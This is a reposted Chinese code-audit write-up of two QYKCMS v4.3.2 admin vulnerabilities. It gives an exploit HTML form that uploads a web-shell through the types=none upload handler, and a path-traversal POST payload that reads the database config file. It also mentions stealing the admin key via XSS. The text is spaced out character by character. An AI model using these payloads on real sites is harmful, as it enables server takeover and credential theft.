搜索

[851] 2018-03-30_【代码审计】QYKCMS后台任意文件上传、任意文件读取漏洞

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-16
2018-03-30_【代码审计】QYKCMS后台任意文件上传、任意文件读取漏洞 0 0 0 1 0 2 【 代 码 审 计 】 Q Y K C M S 后 台 任 意 文 件 上 传 、 任 意 文 件 读 取 漏 洞 原 创   B y p a s s   B y p a s s   2 0 1 8 - 0 3 - 3 0 前 言 前 言 青 云 客 网 站 管 理 系 统 （ Q Y K C M S ） 是 青 云 客 开 发 的 一 款 基 于 P H P + M y S q l 的 轻 量 级 智 能 建 站 系 统 。 在 T 0 0 l s 看 到 两 篇 Q Y K C M S 的 代 码 审 计 文 章 ， 也 下 载 了 一 套 回 来 测 试 ， 发 现 了 两 个 后 台 漏 洞 ， 并 没 有 跟 前 面 的 漏 洞 重 复 ， 分 享 一 下 思 路 。 环 境 搭 建 环 境 搭 建 Q Y K C M S 官 网 ： h t t p : / / w w w . q y k c m s . c o m / 网 站 源 码 版 本 ： Q Y K C M S _ v 4 . 3 . 2 （ 企 业 站 主 题 ） 程 序 源 码 下 载 ： h t t p : / / b b s . q i n g y u n k e . c o m / t h r e a d - 1 3 . h t m 任 意 文 件 上 传 任 意 文 件 上 传 代 码 分 析 ： 1 、 漏 洞 文 件 位 置 ： / a d m i n _ s y s t e m / i n c l u d e / l i b / u p f i l e . p h p       第 2 4 - 6 9 行 ： 这 段 代 码 根 据 t y p e s 的 值 进 行 操 作 ， 可 以 发 现 当 $ t y p e s = n o n e 的 时 候 （ 注 意 看 红 色 代 码 部 分 ） ， 获 取 文 件 名 后 缀 ， 拼 接 成 完 整 路 径 ， 然 后 将 文 件 上 传 到 服 务 器 。 并 没 有 对 文 件 类 型 进 行 过 滤 ， 导 致 程 序 在 实 现 上 存 在 任 意 文 件 上 传 漏 洞 ， 攻 击 者 可 以 通 过 上 传 脚 本 木 马 ， 控 制 服 务 器 权 限 。
0 3 漏 洞 利 用 ： 1 、 构 造 F o r m 表 单 ， k e y 可 通 过 X S S 获 取 管 理 员 C O O K I E 得 到 ： 1 .     < f o r m   e n c t y p e = " m u l t i p a r t / f o r m - d a t a "   a c t i o n = " h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n _ s y s t e m / a p i . p h p ? a d m i n = a d m i n & k e y = 1 5 b c 3 0 c b 5 b f c 1 7 7 5 c 4 7 3 3 c 9 5 5 8 f d e d 9 1 & l o g = u p f i l e & t y p e s = n o n e "   m e t h o d = " p o s t " >     2 .     U p l o a d   a   n e w   f i l e : < b r >     3 .     < i n p u t   t y p e = " f i l e "   n a m e = " f i l e "   s i z e = " 5 0 " > < b r >     4 .     < i n p u t   t y p e = " s u b m i t "   v a l u e = " U p l o a d " >     5 .     < / f o r m >       2 、 成 功 上 传 脚 本 木 马 ， 并 回 显 上 传 路 径 3 、 去 掉 文 件 名 称 的 第 一 个 “ | ” 符 ， 然 后 访 问 脚 本 木 马 地 址 任 意 文 件 读 取 任 意 文 件 读 取
0 4 代 码 分 析 ： 1 、 漏 洞 文 件 位 置 ： / a d m i n _ s y s t e m / i n c l u d e / s h o w / t e m p l a t e . p h p     第 1 - 2 2 行 ： 这 段 代 码 中 接 收 p a t h 参 数 ， 然 后 进 行 转 码 处 理 ， 注 意 看 红 色 代 码 部 分 ， 接 着 判 断 是 否 是 一 个 目 录 ， 然 后 带 入 f i l e _ g e t _ c o n t e n t s 函 数 中 执 行 ， 可 以 看 到 p a t h 参 数 并 未 进 行 任 何 过 滤 或 处 理 ， 导 致 程 序 在 实 现 上 存 在 任 意 文 件 读 取 漏 洞 ， 可 以 读 取 网 站 任 意 文 件 ， 攻 击 者 可 利 用 该 漏 洞 获 取 敏 感 信 息 。 漏 洞 利 用 ： Q Y K C M S 默 认 数 据 库 配 置 文 件 存 放 在 i n c l u d e c o n f i g _ d b . p h p 中 ， 我 们 构 造 一 个 路 径 去 读 取 数 据 库 敏 感 信 息 , 成 功 读 取 配 置 文 件 信 息 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n _ s y s t e m / a p i . p h p     P O S T :   a d m i n = a d m i n & k e y = 6 8 2 b 8 2 f 8 d c 3 b 7 5 3 d 6 e b 9 c e a f d 5 a 6 4 3 0 1 & l o g = s h o w & d e s c = t e m p l a t e & p a t h = . . / i n c l u d e / c o n f i g _ d b . p h p     E N D         说 一 下 感 悟 ， 小 C M S 后 台 中 ， 涉 及 文 件 操 作 的 参 数 基 本 没 怎 么 过 滤 ， 可 以 黑 盒 结 合 白 盒 挖 到 很 多 任 意 文 件 删 除 、 任 意 文 件 读 取 、 任 意 文 件 下 载 等 漏 洞 ， 然 而 只 是 j u s t   f o r   f u n 。 B y p a s s
A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理